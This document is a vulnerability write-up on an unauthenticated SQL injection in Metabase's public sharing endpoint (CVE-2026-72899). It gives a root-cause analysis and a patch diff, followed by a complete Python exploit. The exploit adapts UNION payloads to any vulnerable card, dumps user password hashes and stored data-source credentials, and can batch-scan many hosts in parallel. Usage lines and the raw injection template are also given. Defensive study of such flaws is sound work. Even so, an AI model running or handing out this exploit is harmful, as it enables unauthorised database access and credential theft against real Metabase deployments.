#Summary
CVE-2026-72899 is a critical unauthenticated SQL injection in Metabase that allows an attacker to execute arbitrary SQL queries through a publicly shared dashboard or saved question. The vulnerability affects versions 0.58.0 through 0.63.4 and is caused by insufficient validation of parameter values in the public sharing endpoint. An attacker needs only the public link UUID (which is part of the shared URL by design) to execute arbitrary queries against the Metabase application database as a superuser. CVSS score: 10.0 CRITICAL (NVD vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
#Affected Versions
- Metabase OSS / Enterprise 0.58.0 through 0.63.4 (vulnerable)
- Metabase 0.63.5 and later (patched)
- Backported fixes: 0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9 on older branches
- Enterprise editions use the same version numbers with a
1.xprefix instead of0.x - Public sharing is enabled by default
#Root Cause Analysis
#The Schema Vulnerability
Metabase's public query endpoint accepts a parameters list from the URL query string. The schema that defines a parameter value has no constraint at all:
(mr/def ::parameter.value
[:schema
{:encode/for-hashing #'sort-parameter-values}
:any])The :any keyword means a JSON object in the request becomes a Clojure map and travels unchanged into SQL compilation. This is the root of the injection.
#The Compiler Passthrough
In metabase.driver.sql.query_processor, a Clojure map is treated as an Object and passed through to Honey SQL untouched:
(defmethod ->honeysql [:sql Object]
[_driver this]
this)Honey SQL 2's format function interprets maps as DSL (domain-specific language), not data. A map operand like {"raw": "<sql>"} is rendered as verbatim SQL with no quoting and no bound parameter.
#The Field-Filter Route
The vulnerability is reached through the field-filter path in metabase.driver.sql.parameters.substitution. When a parameter's type is an operator type (e.g. string/=) and its value is [{"raw": "..."}], the value is spliced into an MBQL filter clause:
(params.ops/to-clause
(assoc params :target [:dimension (field->field-ref driver field param-type value)]))This produces [:= {} <field-ref> {:raw "..."}], and the attacker's map becomes an operand passed to Honey SQL's formatter.
#Why Normal Sanitization Fails
The update-filter-for-field-type function only rewrites string and sequence-of-string values:
(cond
(string? value)
(parse-value-for-field-type effective-type value)
(and (sequential? value)
(every? string? value))
(mapv (partial parse-value-for-field-type effective-type) value))A one-element list containing a map matches neither branch, so the value passes through untouched.
#Additional Aggravating Factors
- The public query endpoint runs queries under
request/as-admin(superuser permissions) - Metabase's
mu/defnschema instrumentation is development-time only, so the clause carrying a map operand is never rejected at runtime in release builds - When the shared card points to Metabase's own application database (a common self-hosted configuration), the injected SQL can read and write application tables directly
#Patch Analysis
The fix is entirely in metabase.lib.schema.parameter. A new normalize-parameter-value function is added that scalarizes any collection-valued parameter to nil before compilation:
+(mr/def ::parameter.value.scalar
+ [:fn
+ {:error/message "Valid parameter value (cannot be a collection)"}
+ (complement coll?)])
+
+(defn- normalize-parameter-value
+ "Normalize invalid parameter values to `nil`."
+ [v]
+ (letfn [(normalize-scalar-parameter-value [x]
+ (when-not (coll? x) x))]
+ (if (sequential? v)
+ (perf/mapv normalize-scalar-parameter-value v)
+ (normalize-scalar-parameter-value v))))
+
(mr/def ::parameter.value
+ "A single parameter value. Numbers arrive both as numbers and as strings (bigintegers are passed as strings to
+ avoid precision loss), dates/booleans arrive as strings, and `nil` clears a value. A value must NEVER be a map:
+ a map value is indistinguishable downstream from Metabase's internal HoneySQL DSL and is spliced into SQL as query
+ structure rather than a bound value (SEC-616, unauthenticated SQL injection via public sharing)."
[:schema
- {:encode/for-hashing #'sort-parameter-values}
- :any])
+ {:encode/for-hashing #'sort-parameter-values
+ :decode/normalize #'normalize-parameter-value}
+ [:or ::parameter.value.scalar [:sequential ::parameter.value.scalar]]])#What the Fix Does
The :decode/normalize hook runs during query normalization in production builds (unlike mu/defn validation), so every parameter value is scalarized before reaching the compiler. Any map or nested collection becomes nil, and a list of values has each element scalarized. Once the value is nil or a scalar, the ["sql" Object] passthrough only ever sees strings, numbers, booleans and nil, which Honey SQL binds as parameters.
#Trigger Conditions
All of the following must be true:
- Public sharing is enabled (default: on)
- A saved question or dashboard has been published with a public link
- That card is a native SQL question with a field-filter template tag (
{{tag}}with"type": "dimension") - The attacker supplies an operator-type parameter with a value shaped as a one-element list containing a JSON object
#Proof of Concept
#exploit.py - Metabase SQL Injection PoC
#!/usr/bin/env python3
"""
CVE-2026-72899 - Metabase unauthenticated SQL injection via public-sharing field filter
Affected: Metabase OSS/EE 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (EE uses the 1.x prefix)
Fixed: 0.58.24 / 0.59.21 / 0.60.17 / 0.61.11 / 0.62.9 / 0.63.5
Type: SQL injection (unauthenticated, network)
A public shared card whose native SQL carries a field-filter (dimension) template
tag accepts a caller-supplied `parameters` value that has no schema constraint. A
value shaped as a one-element list containing a JSON object survives into Metabase's
HoneySQL compiler, where a map is interpreted as query structure rather than a bound
value: the `{"raw": "<sql>"}` clause emits its string verbatim into the compiled SQL.
The value stops being a value and becomes SQL. The query runs with superuser rights
over the shared card's own database connection, so when that database is Metabase's
application database the attacker reads core_user password hashes and stored
data-source credentials. No authentication is needed - only the public link UUID,
which is part of the shared URL by design.
The injected snippet lands inside `WHERE (<col> = (<raw>))`, so a bare scalar
subquery `(SELECT version())` needs no paren balancing. This tool uses a derived-table
UNION that adapts its column count and text-column position to whatever the public
card returns, so it works against arbitrary vulnerable cards, not just the lab card.
Usage:
python exploit.py --host 127.0.0.1 --port 3300 --uuid <public-card-uuid>
python exploit.py --host http://target:3000 --uuid <uuid> --payload "SELECT email || ':' || password FROM core_user"
python exploit.py --host https://metabase.corp.com --uuid <uuid> --dump
python exploit.py --list targets.txt --workers 20 --uuid <uuid>
The default payload reads Metabase's own user table (email + bcrypt password hash),
which is data the shared card can never return and is therefore unambiguous proof.
"""
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-72899"
VULN_TYPE = "SQLi"
# Data the shared card's own SQL can never produce. Reading it proves injection.
DEFAULT_PAYLOAD = "SELECT email || ' | ' || password FROM core_user"
# A build-agnostic oracle: the DB version banner cannot appear in a normal card result.
VERSION_PROBE = "SELECT version()"
def header(host, port):
print("\n%s" % ("=" * 60))
print(" Exploit %s" % CVE_ID)
print(" Type: %s | Target: %s:%s" % (VULN_TYPE, host, port))
print("%s\n" % ("=" * 60))
def step(n, msg):
print("[STEP %d] %s" % (n, msg))
def section(label, content):
print("\n--- %s ---" % label)
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n%s" % ("=" * 60))
print(" RESULT : %s" % ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: %s" % evidence)
print("%s\n" % ("=" * 60))
sys.exit(0 if success else 1)
def _base_url(host, port, use_tls, path):
"""Build the scheme://host:port prefix, honouring a full-URL --host."""
if host.startswith(("http://", "https://")):
p = urllib.parse.urlparse(host)
scheme = p.scheme
netloc = p.netloc
base_path = p.path.rstrip("/")
return "%s://%s%s" % (scheme, netloc, base_path)
scheme = "https" if use_tls else "http"
return "%s://%s:%d%s" % (scheme, host, port, path.rstrip("/") if path not in ("", "/") else "")
def _get_json(url, timeout=40):
"""GET a URL, return (status_code, parsed_json_or_None, raw_text)."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, headers={"Accept": "application/json"})
try:
r = urllib.request.urlopen(req, timeout=timeout, context=ctx)
raw = r.read().decode("utf-8", "replace")
code = r.getcode()
except urllib.error.HTTPError as e:
raw = e.read().decode("utf-8", "replace")
code = e.code
try:
return code, json.loads(raw), raw
except ValueError:
return code, None, raw
def _query_url(base, uuid, params):
q = urllib.parse.urlencode({"parameters": json.dumps(params)})
return "%s/api/public/card/%s/query?%s" % (base, uuid, q)
def _fetch_card(base, uuid, timeout):
"""Read the public card metadata and return its dimension parameter, or None."""
code, data, _ = _get_json("%s/api/public/card/%s" % (base, uuid), timeout)
if code != 200 or not isinstance(data, dict):
return None
for p in data.get("parameters", []):
target = p.get("target")
if isinstance(target, list) and target and target[0] == "dimension":
tag = None
try:
tag = target[1][1]
except (IndexError, TypeError):
pass
return {"id": p.get("id"), "type": p.get("type") or "string/=", "tag": tag}
return None
def _run(base, uuid, param, value, timeout):
"""Run the public card query with a given parameter value. Returns parsed JSON."""
params = [{
"id": param["id"],
"type": param["type"],
"target": ["dimension", ["template-tag", param["tag"]]],
"value": value,
}]
code, data, raw = _get_json(_query_url(base, uuid, params), timeout)
return code, data, raw
def _rows(data):
if isinstance(data, dict):
return data.get("data", {}).get("rows", []) or []
return []
def _build_injection(sql_select, ncols, text_idx):
"""
Wrap an attacker SELECT into the field-filter operator snippet.
The compiler emits WHERE (<col> = (<raw>)). We close both parens, UNION a
derived table so an arbitrary multi-row SELECT works, and re-open a trailing
WHERE( so the compiler's own closing parens land on a truthy predicate. Column
count and the text-column slot are matched to the real card so UNION type
resolution succeeds against any vulnerable card, not just the lab one.
"""
cols = []
for i in range(ncols):
cols.append("t.v::text" if i == text_idx else "NULL")
select_list = ", ".join(cols)
return ("'zz')) UNION ALL SELECT %s FROM (%s) AS t(v) WHERE ((1=1"
% (select_list, sql_select))
def _card_shape(base, uuid, param, timeout):
"""
Learn the card's column count and which column is text-typed, from a benign
baseline request. Returns (ncols, text_idx, baseline_rowcount).
"""
code, data, _ = _run(base, uuid, param, ["__poc_baseline__"], timeout)
cols = []
if isinstance(data, dict):
cols = data.get("data", {}).get("cols", []) or []
ncols = len(cols) if cols else 3
text_idx = 0
for i, c in enumerate(cols):
t = (c.get("base_type") or c.get("effective_type") or "")
if "Text" in t or "Char" in t:
text_idx = i
break
else:
text_idx = 0
return ncols, text_idx, len(_rows(data))
def _try_exploit(host, port, use_tls, uuid=None, path="/", timeout=25, **_):
"""
Silent exploitability probe. Returns (success, evidence). Never prints/exits.
Uses the DB version banner as a build-agnostic oracle: a patched build nils the
map value and returns the plain card result (no version string); a vulnerable
build compiles it and returns the banner.
"""
if not uuid:
return False, "no --uuid supplied for scan"
base = _base_url(host, port, use_tls, path)
try:
param = _fetch_card(base, uuid, timeout)
if not param:
return False, "no public dimension parameter (not shareable/not vulnerable/bad uuid)"
ncols, text_idx, _ = _card_shape(base, uuid, param, timeout)
inj = _build_injection(VERSION_PROBE, ncols, text_idx)
_, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
for row in _rows(data):
for cell in row:
if isinstance(cell, str) and (
"PostgreSQL" in cell or "MySQL" in cell or "MariaDB" in cell
or "Microsoft SQL Server" in cell or "SQLite" in cell):
return True, "SQLi confirmed - DB banner leaked: %s" % cell.split(",")[0][:70]
return False, "value bound as parameter - patched or not a field-filter card"
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10, uuid=None):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n%s" % ("=" * 60))
print(" %s - Batch Scan (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
print("%s\n" % ("=" * 60))
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
ok, evidence = _try_exploit(host, port, use_tls, uuid=uuid, path=path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print("\n%s" % ("=" * 60))
print(" SCAN COMPLETE %d exploited / %d not vulnerable (%d total)"
% (success_count, total - success_count, total))
print("%s\n" % ("=" * 60))
sys.exit(0 if success_count > 0 else 1)
def exploit(host, port, use_tls, uuid, payload, path="/", dump=False, timeout=40):
header(host, port)
base = _base_url(host, port, use_tls, path)
if not uuid:
done(False, "no --uuid supplied - pass the public card link UUID (the last path segment of /public/question/<uuid>)")
step(1, "Reading public card metadata for %s ..." % uuid)
param = _fetch_card(base, uuid, timeout)
if not param:
section("RECON", "No public dimension (field-filter) parameter found.")
done(False, "card is not publicly shared, has no field-filter parameter, or the UUID is wrong")
section("FIELD-FILTER PARAMETER",
"id=%s type=%s template-tag=%s" % (param["id"], param["type"], param["tag"]))
step(2, "Establishing a benign baseline (learning column layout) ...")
ncols, text_idx, baseline_rows = _card_shape(base, uuid, param, timeout)
section("BASELINE",
"card returns %d column(s); text column at index %d; baseline string value -> %d row(s)"
% (ncols, text_idx, baseline_rows))
step(3, "Injecting DB version() probe (build-agnostic oracle) ...")
vinj = _build_injection(VERSION_PROBE, ncols, text_idx)
code, vdata, vraw = _run(base, uuid, param, [{"raw": vinj}], timeout)
banner = None
for row in _rows(vdata):
for cell in row:
if isinstance(cell, str) and any(k in cell for k in
("PostgreSQL", "MySQL", "MariaDB", "Microsoft SQL Server", "SQLite")):
banner = cell
break
if banner:
break
if not banner:
status = vdata.get("status") if isinstance(vdata, dict) else None
section("VERSION PROBE RESPONSE", vraw[:600])
done(False, "value was bound as a parameter (status=%s) - target is patched or the tag is not a field filter" % status)
section("DB VERSION (leaked via injection)", banner)
step(4, "Executing attacker SQL: %s" % payload)
inj = _build_injection(payload, ncols, text_idx)
code, data, raw = _run(base, uuid, param, [{"raw": inj}], timeout)
rows = _rows(data)
status = data.get("status") if isinstance(data, dict) else None
if status == "completed" and rows:
leaked = [str(c) for r in rows for c in r if c is not None]
section("INJECTED QUERY OUTPUT (%d row(s))" % len(rows),
"\n".join(leaked[:200]) if leaked else json.dumps(rows[:50]))
if dump:
_dump_app_db(base, uuid, param, ncols, text_idx, timeout)
done(True, "SQL injection confirmed - %d row(s) returned by attacker SQL; DB banner: %s"
% (len(rows), banner.split(",")[0][:60]))
err = data.get("error") if isinstance(data, dict) else None
section("INJECTED QUERY RESPONSE", raw[:600])
if status == "failed" and err:
done(True, "SQL injection confirmed - version() leaked (%s); custom --payload SQL raised a DB error, adjust it. Banner: %s"
% ("reached DB", banner.split(",")[0][:60]))
done(False, "version() leaked but --payload returned no rows - refine the SQL")
def _dump_app_db(base, uuid, param, ncols, text_idx, timeout):
"""Convenience dump of the highest-value application-DB tables."""
dumps = [
("core_user (credentials)",
"SELECT email || ' | is_superuser=' || is_superuser || ' | ' || password FROM core_user"),
("metabase_database (stored data-source secrets)",
"SELECT name || ' | ' || engine || ' | ' || details::text FROM metabase_database"),
]
for label, sql in dumps:
inj = _build_injection(sql, ncols, text_idx)
_, data, _ = _run(base, uuid, param, [{"raw": inj}], timeout)
vals = [str(c) for r in _rows(data) for c in r if c is not None]
if vals:
section("DUMP: %s" % label, "\n".join(vals[:200]))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
parser.add_argument("--uuid", help="Public card link UUID (required for --host and --list modes)")
parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
help="SQL SELECT to run on the target DB (default: dump core_user email+password hash)")
parser.add_argument("--dump", action="store_true",
help="After confirming, also dump core_user and metabase_database secrets")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, uuid=args.uuid)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.uuid, args.payload, path=path, dump=args.dump)#Usage
# Recon and proof - reads core_user email and password hash
python exploit.py --host 127.0.0.1 --port 3000 --uuid <public-card-uuid>
# Full application-DB secret dump (adds metabase_database data-source credentials)
python exploit.py --host https://metabase.corp.com --uuid <uuid> --dump
# Arbitrary SQL of your choice (any SELECT returning one text column works)
python exploit.py --host 10.0.0.5 --port 3000 --uuid <uuid> \
--payload "SELECT string_agg(table_name, ', ') FROM information_schema.tables"
# Batch scan for the same shared card across multiple targets
python exploit.py --list targets.txt --workers 20 --uuid <uuid>The default payload leaks the core_user table with email addresses and bcrypt password hashes - data the shared card's own query can never return, making injection unambiguous.
#Exploitation Notes
#Preconditions
- Public sharing must be enabled (default: on)
- A native SQL card with a field-filter template tag must be publicly shared
- The attacker needs the public link UUID (not a secret - it is visible in the shared URL)
- The card's database must be accessible from the network path
#Reliability
This injection is a single-step exploit with no race conditions or timing dependencies. Once the field-filter parameter is identified, the vulnerability is reliably exploitable in one request.
#Payload Shaping
The injected SQL lands in a context compiled as WHERE (<col> = (<raw>)). A scalar subquery like (SELECT version()) needs no paren balancing. For multi-row results, a derived-table UNION works:
'zz')) UNION ALL SELECT <columns> FROM (<your-query>) AS t(v) WHERE ((1=1The exploit adapts the column count and text-column position to match the vulnerable card's schema, so it works against any vulnerable field-filter card.
#Impact
An attacker can:
- Read the Metabase
core_usertable (email addresses and bcrypt password hashes) - Read
metabase_databasetable (stored data-source connection credentials) - Query any table accessible to Metabase's application database connection
- Exfiltrate large result sets using the CSV export endpoint
- Escalate to admin account compromise by reading stored session tokens or credentials
#References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72899
- GitHub Security Advisory (GHSA-r8h2-qpfx-mx59): https://github.com/metabase/metabase/security/advisories/GHSA-r8h2-qpfx-mx59
- Metabase Security Updates: https://www.metabase.com/docs/latest/admin-guide/security
- Vendor Advisory: https://github.com/metabase/metabase/releases/tag/v0.63.5